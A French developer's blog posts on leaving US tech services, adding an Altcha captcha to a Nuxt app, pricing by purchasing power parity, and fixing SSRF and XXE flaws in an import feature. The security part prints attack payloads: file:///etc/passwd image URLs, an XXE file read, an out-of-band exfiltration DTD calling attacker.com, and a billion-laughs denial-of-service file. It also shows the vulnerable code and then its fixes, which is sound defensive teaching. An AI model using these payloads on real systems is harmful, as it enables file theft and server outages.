Du jour au lendemain, les juges de la CPI se sont retrouvés exclus du système économique mondial controlé en grande partie par VISA, Mastercard et American Express). Les comptes en ligne sur toutes les entreprises US ont été fermés (Amazon, Airbnb, Paypal etc...). Même des banques non américaines ont fermé des comptes pour éviter de violer les rêgles US.

Dans le même temps, c'est toute l'administration de la CPI qui a été coupés de ces outils, emails, documentation etc...

Je pourrais aussi citer le dernier rapport sur la stratégie de sécurité nationale américaine publié il y a 2 jours. Ce rapport insiste sur le fait de mettre des efforts pour influencer la politique intérieure des pays Européens. Steve Bannon, conseiller de Donald Trump a créé une fondation à Bruxelles dont l'objectif est d'affaiblir l'union Européenne en encourageant les tous les partis de l'extrême droite européenne à suivre un but commun : "maiming the European Union" (mutiler l'UE)

Ce n'est pas de la paranoïa, c'est une stratégie documentée et officielle. La dépendance tech européenne n'est pas juste un risque théorique — elle est activement exploitée comme levier géopolitique.

**Le 100% Européen parait difficile à atteindre mais chacun doit faire ses petites actions pour changer cet équilibre en utilisant davantage des solutions non US. **

J'avais déjà essayé de lister tout les services dont je dépendais en avril dans un article pour calculer son score de dépendance.

Depuis j'ai progressé.

• Je suis passé sur Proton pour l'email, le stockage de documents, le VPN, le coffre fort numérique. Proton a fait x5 en nombre d'utilisateurs en 4 ans.
• Je suis sorti de X et prochainement Facebook (j'attends juste d'y poster cet article avant de le faire)
• Je n'utilise plus Airbnb mais uniquement Booking

C'est encore loin d'être bon, il est très dur de se passer d'Amazon, Linkedin et pire encore dans les loisirs Netflix, Youtube, Crunchyroll, les US sont largement dominants.

Mais techniquement, rien n'empêcherait d'avoir un Linkedin décentralisé et non US.

On commence à voir des choses intéressantes se créer, en profitant notamment des protocoles décentralisé offert par Mastodon (ActivityPub) ou Bluesky (atproto).

On peut notamment citer

• des alternatives à Instagram : Pixelfed (ActivityPub), Sprk.so, Flashes et Pinksky (atproto)
• une alternative à Reddit : Lemmy (ActivityPub)
• une alternative à TikTok : Skylight (atproto)
• une alternative à Youtube : Peertube (ActivityPub)
• une initiative pour créer un PDS Européen pour Bluesky (permettant donc de ne plus être dépendant du seul PDS US)

EDIT : il y a un gros annuaire de ces alternatives utilisant atproto ici : https://blueskydirectory.com/

C'est loin d'être parfait. Un réseau social a besoin d'un effet de masse pour devenir attractif. Certaines initiatives sont loin de remplacer leurs grandes soeurs.

**Mais la technologie n'est plus une barrière. **

Et rien que ça, c'est une bonne nouvelle. Parce que le jour où on se fera couper, on saura faire sans. Mais il faut pas attendre ce moment.

Ca c'est aussi la responsabilité de tout ceux qui construisent des applications ou qui décident de les acheter pour leurs entreprises.

Je bosse dans le développement d'application. Et je me suis fixé un objectif, essayer d'éviter au maximum les outils US pour construire mes nouveaux projets.

J'ai commencé une nouvelle application le mois dernier : Writizzy.
Déjà, le projet en soit est une tentative de proposer une alternative à des plateformes américaines comme Substack, Medium ou Wordpress.

J'ai pu utiliser en grande partie des alternatives non US :

• l'hébergement sur des serveurs Hetzner (Allemagne)
• l'usage de Coolify (PAAS self hosted) (Hongrie)
• le CDN et le web storage sur Bunny.net (Slovénie) (un de mes coups de coeur ici, ca remplace sans souci Cloudflare et va bien plus loin que le simple CDN)
• les DNS sur hostinger (Allemagne) mais qui vont progressivement aller sur Bunny.net
• les emails transactionnels sur Brevo (France)
• les boites emails pour moi et Thomas (avec qui je travaille) sur Proton (Suisse)
• le stockage S3 sur Scaleway (France)

Il me reste des points noirs :

• Stripe C'est difficile de s'en passer pour une solution simple et abordable. Je devrais peut-être regarder Paddle (UK) mais c'est le genre de brique qu'on ne change pas facilement.
• Github. Je connais pas d'alternative évidentes. Gitlab aussi vient des US. Bitbucket (Australie) pourrait peut-être convenir mais j'avais l'impression que c'était mort depuis un moment. Ici c'est moins grave que le paiement, changer de fournisseur pourrait être très simple à faire. Il va falloir que je trouve.
• Claude Code. J'ai 0 alternatives non US à proposer. Je pourrais tester DeepSeek à la limite. Même si passer de l'influence US à l'influence Chinoise comporte aussi des risques...
  Et Mistral n'était pas au niveau la dernière fois que j'ai essayé.
  Ca pour le coup c'est une très mauvaise nouvelle.

En tout cas, si vous commencez une application aujourd'hui, vous vous devez d'y réfléchir. Ne commencez pas sur de mauvaises bases.

Comprenez aussi que c'est en utilisant ces services qu'ils s'amélioreront parce qu'ils auront les sous et le feedback pour le faire.

Je comprends que ce soit un vrai handicap pour une vieille application et je sais l'effort nécessaire pour transformer une application, d'autant plus sans aucun gain financier direct à la clé. Mais il faut considérer cela comme un facteur de risque.

Qu'est ce qui se passera demain quand Trump décidera de sanctionner votre entreprise parce que... parce que c'est tout. Parce ce qu'il y a pas besoin de bonne raisons! Toute la tech US a financé Trump et lui a servi des petits fours pour son investiture. Ils attendent des retours sur investissements et ca passera par de l'espionnage industriel et/ou des blocages. Toutes les entreprises Européennes peuvent être ciblées à n'importe quel moment.

Dans les administrations il y a un mouvement de fond pour se séparer des outils Microsoft. En Allemagne, France, Danemark, Italie, Espagne on observe des administrations qui ont migré vers Linux, LibreOffice, Thunderbird etc...

C'est une bonne nouvelle. Mais il faut que ce soit suivi par des entreprises privées et pour ça il faut aussi qu'on soit plus ambitieux sur la qualité des softs qu'on créé. Le souverainisme naif qui consiste uniquement à vendre le fait d'être européen, mais avec une mauvaise qualité, ça ne marche pas.

Bref, à nous de faire les bons choix et d'être ambitieux. N'attendons pas qu'il soit trop tard.

Et puis en regardant mieux, j'ai pu noter que chaque usage du formulaire de contact, était suivi par une inscription d'un utilisateur avec le même email et un nom qui suivait toujours le même pattern :

qSfDMiWAiLnpYYzdCeCWd
fePXzKXbAmiLAweNZ

etc... Autant dire, que leur appartenance à l'espèce humaine est hautement soumise à caution.

Bref, il est sans doute temps d'ajouter quelques contrôles et l'un des plus fameux c'est, le captcha.

Les captcha nouvelle génération

Le captcha, tout le monde connaît, c'est pénible, peut-être à égalité avec les bandeaux pour accepter les cookies.

On retrouve désormais des captcha où il faut identifier des feux rouges, calculer des additions, déplacer une case de puzzle au bon endroit et j'en passe.

Sauf que, vous aurez peut-être noté, depuis quelque temps, on voit aussi apparaître des simples formulaires avec une case à cocher : "Je ne suis pas un robot".

Parfois le captcha n'est d'ailleurs même plus visible, la détection se faisant à votre insu, sans rien vous demander.

Alors ça marche comment ? Et comment l'ajouter dans mon application ?

Nuxt turnstile, la solution par défaut avec Nuxt

Dans l'écosystème Nuxt, la solution la plus commune c'est Nuxt turnstile. La doc est assez explicite sur la manière de l'ajouter. C'est une très bonne solution mais elle repose sur Cloudflare turnstile or je tente de n'utiliser aucun produit US pour Writizzy et Hakanai.

Malgré tout, la doc permet de comprendre un peu mieux le fonctionnement des captcha de nouvelle génération.

Au moment de l'apparition de la page, le widget turnstile va faire des vérifications côté client :

• proof of space
  Le script demande au client de générer et stocker une quantité de données selon un algo prédéfini, et lui demande ensuite l'octet à un position donnée. Non seulement ça prend du temps, mais ca s'automatise difficilement à l'échelle.
• des détections triviales sur le navigateur
  L'idée étant d'essayer de détecter un bot (pas de plugin, un pilotage par webdriver etc...). Le fingerprinting va également aider dans ce cas là. Il s'agit de récupérer toutes les infos disponibles, sur le navigateur, l'OS, les apis disponibles, la résolution etc...

::alert A noter que le fingerprinting peut être mal vu par la RGPD qui peut considérer qu'il s'agit d'identifier une personne de façon unique.
Personnellement je trouve ça discutable en soi (je ne suis pas un fingerprint !), mais alors dans le cadre de la protection anti spam on se mord un peu la queue ici puisqu'il serait alors nécessaire de demander aux bots leur autorisation pour qu'on essaie de les détecter. On est ici aux limites de l'absurde. ::

Mais reprenons. En fonction des infos précédentes, le script va envoyer tout cela à Cloudflare. Sur la base de ces infos et se reposant aussi sur une énorme base de données de l'ensemble du traffic mondial, Cloudflare va calculer un pourcentage de chance que l'utilisateur soit un bot. Le formulaire va varier entre :

• rien à faire, cloudflare est convaincu que c'est un humain
• une case à cocher "je ne suis pas un robot"
• un captcha plus élaboré si vraiment la suspicion est forte
• une page de blocage quand la suspicion ne laisse aucun doute

Alors, vous pourriez me dire, la case à cocher, c'est quand même un peu léger non ? Si je suis arrivé jusque-là, je sais facilement automatiser un click supplémentaire. D'autant plus que cloudflare étant partout, c'est forcément le même formulaire partout.

Oui... Mais...

La première chose, c'est que la façon de cocher la case va être analysé. Est-ce que le click est trop rapide, est ce qu'il semble automatisé, est ce que le parcours de la souris pour atteindre la case est naturelle.
Tout ça peut déclencher une protection supplémentaire.
EDIT : turnstile ne fait peut-être pas cette opération. reCaptcha, la solution de Google, est connu pour le faire. Turnstile est moins explicite sur le sujet.

Mais en plus de ça la case à cocher déclenche un challenge, un petit calcul demandé par Cloudflare que votre client doit réaliser. Le résultat est ce qu'on appelle, une preuve de travail (proof of work).
Ce travail est lent, pour un ordinateur. On parle de 500ms, ce qui est une éternité pour une machine.
Mais, pour un utilisateur humain, c'est totalement anecdotique. Et, franchement, la satisfaction d'avoir fièrement démontré sa supériorité face à la machine permet d'oublier ces 500 petites millisecondes.

Par contre pour un bot, ce temps va poser un vrai souci s'il faut automatiser la création de centaines ou milliers de comptes.

Donc c'est pas impossible de cocher cette case, mais c'est couteux. Et c'est censé rendre l'équation économique pas intéressante sur de gros volumes.

Maintenant, même si c'est bien beau tout ça, je ne souhaite toujours pas utiliser Cloudflare, donc, comment le remplacer ?

Altcha, alternative open source

En faisant mes recherches je suis tombé sur altcha. La solution est opensource, ne nécessite aucun appel à des serveurs externes, ne partage aucune donnée.

L'implémentation nécessite de faire la demande de Proof of work (le fameux challenge javascript) depuis votre serveur. Ici, on va l'initier depuis le backend nuxt, dans un handler :

// server/api/altcha/challenge.get.ts
import { createChallenge } from 'altcha-lib'

export default defineEventHandler(async () => {
  const hmacKey = useRuntimeConfig().altchaHmacKey as string

  return createChallenge({
    hmacKey,
    maxnumber: 100000,
    expires: new Date(Date.now() + 60000) // 1 minute
  })
})

Dans la page du formulaire de contact, on va ajouter un Composant vue :

	<ClientOnly>
	  <Altcha
		v-model:payload="altchaPayload"
	  />
	</ClientOnly>

Ce altchaPayload sera ajouté du payload du post, par exemple :

    await $fetch('/api/contact', {
      method: 'POST',
      body: {
        email: loggedIn.value ? user.value?.email : event.data.email,
        subject: event.data.subject,
        message: event.data.message,
        altcha: altchaPayload.value
      }
    })

Le résultat du calcul sera ensuite vérifié dans le endpoint /api/contact

    const hmacKey = useRuntimeConfig().altchaHmacKey as string

    const ok = await verifySolution(data.altcha, hmacKey)
    if (!ok) {
      throw createError({ statusCode: 400, message: 'Invalid challenge' })
    }

Le composant vue dont je parlais plus haut, c'est celui-ci :

<script setup lang="ts">
import { onMounted, onUnmounted, ref, watch } from 'vue'

const altchaWidget = ref<HTMLElement | null>(null)
const props = defineProps({
  payload: {
    type: String,
    required: false
  }
})
const emit = defineEmits<{
  (e: 'update:payload', value: string): void
}>()
const internalValue = ref(props.payload)

watch(internalValue, (v) => {
  emit('update:payload', v || '')
})

const onStateChange = (ev: CustomEvent | Event) => {
  if ('detail' in ev) {
    const { payload, state } = ev.detail
    if (state === 'verified' && payload) {
      internalValue.value = payload
    } else {
      internalValue.value = ''
    }
  }
}

onMounted(() => {
  const script = document.createElement('script')
  script.src = 'https://cdn.jsdelivr.net/gh/altcha-org/altcha@main/dist/altcha.min.js'
  script.type = 'module'
  document.head.appendChild(script)

  if (altchaWidget.value) {
    altchaWidget.value.addEventListener('statechange', onStateChange)
  }
})

onUnmounted(() => {
  if (altchaWidget.value) {
    altchaWidget.value.removeEventListener('statechange', onStateChange)
  }
})
</script>

<template>
  <altcha-widget
    ref="altchaWidget"
    challengeurl="/api/altcha/challenge"
    hidelogo
    hidefooter
    style="--altcha-max-width:100%"
  />
</template>

Et voilà, la page contact et la page signup est désormais protégé par ce altcha.

Maintenant, est-ce que ça marche ?

Les limitations de altcha

La mise en place s'est faite hier. Et malheureusement, je constate toujours des inscriptions très suspectes sur Pulse. Donc manifestement, Altcha n'a pas rempli son rôle.

Cependant, maintenant qu'on sait comment ça marche, c'est plus simple de comprendre pourquoi ça ne marche pas.

Altcha ne fait aucune des vérifications faites par turnstile :

• pas de proof of space
• pas de fingerprinting
• pas de vérification du fingerprinting auprès de cloudflare
• aucune vérification comportementale du clic souris sur la case à cocher.

La seule protection c'est le proof of work, qui ne coute "que" du temps à l'attaquant.

Or pour pulse, pour une raison qui m'échappe complètement, la personne qui s'amuse à créer des comptes en fait environ 4 par jours. Le cout du Proof of work est dérisoire dans ce cas-là. Altcha n'est donc pas adapté à ce type de "slow attack".

Bref, va falloir que je trouve une autre parade... Et je suis preneur de vos suggestions.

Les hackers.

Chaque nouvelle fonctionnalité est une opportunité supplémentaire, une nouvelle faille potentielle.

Le week end dernier j'ai ajouté la possibilité de migrer ses données sur writizzy depuis wordpress (fichier xml), ghost (fichier json) et medium (archive zip).

Et lundi j'ai recu ce message :

Enorme vuln sur writizzy

Hello, Tu as une énorme vulnérabilité sur writizzy que tu dois fixer asap. Via l'import medium, j'ai pu download ton /etc/passwd Grosso modo, il faut absolument que tu valides les images du html medium!

Ton /etc/passwd pour preuve:

Micka

Alors comme c'est pas impossible que vous découvriez ce genre de faille, je vous propose de voir comment exploiter des failles SSRF et XXE

La faille SSRF

Une faille SSRF veut dire "server side request forgery", c'est une attaque permettant d'accéder à des ressources vulnérables du serveur.

Ok, mais comment accéder à ces ressources en déclenchant un import de données avec une archive zip ?

La fonctionnalité d'import repose sur un principe important, j'essaie de télécharger les images qui sont dans l'article à migrer pour les importer sur mon propre stockage (bunny dans mon cas).

Imaginons par exemple que j'ai ceci dans la page medium

<img src="https://cdn-images-1.medium.com/max/800/image.jpg"/>

Je dois télécharger l'image, puis la réuploader sur bunny. Lors de la conversion en markdown je vais ensuite écrire ceci :

![](https://cdn.bunny.net/blog/12132132/image.jpg)

Donc pour ca, a un endroit j'ouvre une url vers l'image

   val imageBytes = try {
		val connection = URL(imageUrl).openConnection()
		connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
		connection.setRequestProperty("Referer", "https://medium.com/")
		connection.setRequestProperty("Accept", "image/avif,image/webp,*/*")
		connection.connectTimeout = 10000
		connection.readTimeout = 10000
		connection.getInputStream().use { it.readBytes() }
	} catch (e: Exception) {
		logger.warn("Failed to download image $imageUrl: ${e.message}")
		return imageUrl
	}

Et ensuite j'uploade le tableau de bytes vers bunny.

Ok. Mais que se passe-t-il si l'utilisateur écris ceci :

<img src="file:///etc/passwd">

Le code précédent va essayer de lire le fichier en suivant le protocole demandé, ici, file. Puis uploader le contenu du fichier sur le cdn. Contenu désormais accessible publiquement.

Et puis on peut également accéder à des urls internes pour scanner des ports, avoir des infos sensibles etc...

<img src="http://localhost:6379/">

Bref, la faille est très importante.

Pour corriger il y a plusieurs choses à faire. Déjà, vérifier le protocole utilisé :

	if (url.protocol !in listOf("http", "https")) {
		logger.warn("Unauthorized protocol: ${url.protocol} for URL: $imageUrl")
		return imageUrl
	}

Ensuite, vérifier qu'on attaque pas des urls privées

        val host = url.host.lowercase()
        if (isPrivateOrLocalhost(host)) {
            logger.warn("Blocked private/localhost URL: $imageUrl")
            return imageUrl
        }
		
		...
		
		    private fun isPrivateOrLocalhost(host: String): Boolean {
        if (host in listOf("localhost", "127.0.0.1", "::1")) return true

        val address = try {
            java.net.InetAddress.getByName(host)
        } catch (_: Exception) {
            return true // En cas de doute, on bloque
        }

        return address.isLoopbackAddress ||
                address.isLinkLocalAddress ||
                address.isSiteLocalAddress
    }

Mais ici, j'ai encore un risque. L'utilisateur peut écrire

<img src="https://hacker-domain.com/image.jpg">

Et pourtant, ceci pourrait encore être risqué si le hacker demande un redirect de cette url vers /etc/password

Donc il faut bloquer les demandes de redirection :

	val connection = url.openConnection()
	if (connection is java.net.HttpURLConnection) {
		connection.instanceFollowRedirects = false
	}
	connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36")
	connection.setRequestProperty("Referer", "https://medium.com/")
	connection.setRequestProperty("Accept", "image/avif,image/webp,*/*")
	connection.connectTimeout = 10000
	connection.readTimeout = 10000
	val responseCode = (connection as? java.net.HttpURLConnection)?.responseCode

	if (responseCode in listOf(301, 302, 303, 307, 308)) {
		logger.warn("Refused redirect for URL: $imageUrl (HTTP $responseCode)")
		return imageUrl
	}

Bref, faites très attention à l'ouverture de connection piloté par l'utilisateur.

Sauf que c'était pas fini.

Second message de Micka :

T'as aussi une XXE sur l'import wordpress ! Désolé du spam, j'avais pas pu tester pour t'avertir en même temps que l'autre vuln, ça aussi faut que tu le fix asap :)

la faille XXE

Une XXE (XML External Entity) est une vulnérabilité qui permet d'injecter des entités XML externes pour :

• Lire des fichiers locaux (/etc/passwd, config files, clés SSH...)
• Faire du SSRF (requêtes vers des services internes)
• Faire du DoS (billion laughs attack)

Or Micka a modifié le fichier xml de Wordpress pour rajouter une déclaration d'entité

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
...
<content:encoded>&xxe;</content:encoded>

Cette directive demande au parseur XML d'aller lire le contenu d'un fichier local pour ensuite l'utiliser plus tard.

Il aurait aussi été possible d'envoyer ce fichier vers une url directement

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

et sur http://attacker.com/evil.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%all;

Enfin pour faire tomber un serveur, l'attaquant aussi aussi pu faire ceci :

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<rss>
  <channel>
    <item>
      <title>&lol9;</title>
      <wp:post_id>1</wp:post_id>
      <wp:status>publish</wp:status>
      <wp:post_type>post</wp:post_type>
    </item>
  </channel>
</rss>

Ceci demande l'affichage de plus de 3Mds de caractères, et donc faire planter le serveur. Il existe des variantes mais vous avez l'idée.

Bref, évidemment on veut pas tout ça.

Cette fois ci, il va falloir sécuriser le parseur XML en lui demandant de ne pas regarder les entités externes :

	val factory = DocumentBuilderFactory.newInstance()
    
    // Désactiver les entités externes (XXE protection)
    factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
    factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
    factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
    factory.isXIncludeAware = false
    factory.isExpandEntityReferences = false

J'espère que vous aurez appris un truc. Moi oui en tout cas, parce que même si j'aurais du voir la faille SSRF, honnêtement, j'aurais jamais vu celle sur le parseur XML. C'est grace à Micka que j'ai découvert ce type de pratique.

Pour info, Micka est une personne formidable avec qui j'ai déjà bossé sur Malt et qui bosse dans la sécurité. Vous l'avez peut-être croisé sur des capture the flag à Mixit. Et il adore essayer de trouver ce genre de faille.

Donc avec Writizzy, c'est la première fois que je sors un produit grand public à destination du monde entier.

Et hier j'ai reçu ce message :

Hi there, Just wanna say your product is awesome. I really love its simplicity and am thinking of subscribing to it. However, can you implement a purchasing power parity policy? Your current pricing is too high for me at the moment. I lived in Indonesia (part of South East Asia). Thanks

Eh bien, c'est une super question.

La parité de pouvoir d'achat

La parité de pouvoir d'achat (PPA) c'est une façon d'exprimer une valeur en fonction du pouvoir d'achat d'un pays.

En fait, vous connaissez sans doute déjà, si vous avez entendu parler de l'indice Big Mac. C'est lié à cette fameuse parité de pouvoir d'achat. L'idée, c'est d'exprimer cette parité en l'illustrant par le coût d'un Big Mac selon les pays (qui inclut le coût de production dans ce cas précis puisque c'est un bien physique).

Et il y a un vrai sujet lorsque tu as des utilisateurs du monde entier qui utilisent ton produit, c'est l'accès équitable au produit en question.

Si par exemple un produit coûte 10 euros par mois, ces 10 euros ne représentent pas la même chose au Vietnam ou aux US en parité de pouvoir d'achat.

• Le salaire médian au Vietnam est d'environ 350 euros par mois.
• Le salaire médian aux US tourne autour de 3 800 euros par mois.
• Et en France, on se situe autour des 2 000 par mois.

Bref, un produit à 10 euros représente 3% du salaire médian d'un Vietnamien, contre à peine 0,3% pour un Américain. Et 3% dans un budget mensuel, ça s'envisage pas du tout de la même façon quand on considère une dépense.

Donc, je vous ai un peu menti, c'est pas juste une question d'équitabilité, la définition d'un prix ça fait partie d'une stratégie pour acquérir des utilisateurs. Si on passe des heures à définir ce prix pour un pays, mais ensuite pour lancer de façon mondiale, il y a par définition un énorme trou de conception. Ça ne marchera pas.

C'est pour ça que certains produits peuvent afficher des prix différents par pays en fonction de la Parité de Pouvoir d'Achat.

Au passage, si vous ne le saviez pas, c'est ce qui explique en partie le succès des VPN, avec un VPN, il est possible de payer moins cher certains services en allant se connecter depuis certains endroits. Attention, je suis pas en train de vous dire de le faire, d'autant que la plupart de ces services sont en guerre contre ce genre de pratique et font la chasse aux VPN.

Et les coûts de production ?

Une question peut se poser naturellement, certes le pouvoir d'achat de mon acheteur entre en jeu, mais moi-même, j'ai un coût de production.

Je paie mes serveurs en euros, sur le coût de l'énergie européen. J'ai besoin de me payer moi-même, donc est-ce que je peux vraiment baisser mes prix pour l'Indonésie ?

Déjà, il faut différencier deux types de coûts :

• les coûts fixes, c'est ce que je paie dans tous les cas, le temps de dev, le nom de domaine etc...
• les coûts variables (ou coûts marginaux), c'est le coût lié à l'usage, au nombre d'utilisateurs, le stockage, les appels API s'ils sont comptés au volume de données échangées, le nombre d'emails envoyés etc...

L'objectif, c'est de gagner de l'argent (ou au moins de ne pas en perdre) sur le coût marginal. Il ne faut pas qu'un utilisateur coûte plus cher que les coûts variables. Et après, il faut suffisamment d'utilisateurs pour payer les coûts fixes.

Quand on lance une boîte, les coûts fixes sont largement surreprésentés dans l'équation donc effectivement ça paraît étrange de baisser ses prix. Mais il faut ici raisonner en coût marginal. Avoir 1 000 utilisateurs français à 10€ contre 5 000 utilisateurs en Indonésie à 3€, eh bien en fait c'est plus rentable (10 000 euros vs 15 000€). Et évidemment dans un monde idéal il faut les deux.

Le problème du VPN tourist

Une question assez évidente se pose, comment éviter que tout le monde se connecte avec un VPN indonésien pour payer moins cher. Ou dit autrement, comment vérifier le lieu de résidence des gens ?

Parce que si demain, tous les utilisateurs français se connectent avec un VPN pour payer 3 euros/mois, le modèle économique peut avoir du mal à tenir. Et c'est encore plus vrai pour une entreprise dont les coûts marginaux incluent le marketing, marketing qui est relativement bien plus cher en France qu'en Indonésie pour le même résultat.

Il y a des solutions techniques :

• le pays d'émission de la CB
• l'adresse IP (il est possible aussi d'identifier les principaux providers VPN)
• demander une preuve d'identité (je déconseille très fort et personne ne filera son passeport pour 10€/mois)

Et puis il y a une autre solution : "on s'en fout un peu", parce qu'on peut accepter qu'il y aura quelques tricheurs mais aussi se dire que la grande majorité ne se fera pas chier à prendre un VPN et l'utiliser pour essayer de tricher pour ce montant.

Et à l'inverse, se dire que le coût du contrôle peut faire augmenter les couts variables et rendre l'équation moins rentable.

Mise en place sur Writizzy ?

Avec tout ce que j'ai dit, moi c'est le côté accès équitable qui me parle le plus. Je considère que tout le monde doit pouvoir facilement accéder au service. Donc on va le mettre en place, mais on va limiter le coût de dev de cette feature.

Parce que mine de rien, ça peut coûter cher d'implémenter tout un système de calcul de prix en fonction de la géographie etc.. Et ça coûte cher aussi de passer par un service externe.

J'ai trouvé un calculateur en ligne qui nous propose un prix cohérent par pays. Donc, on va faire ça manuellement, sur demande, pour les utilisateurs qui nous enverront un email. Ce sera documenté, que ce soit ici par cet article de blog ou sur la documentation.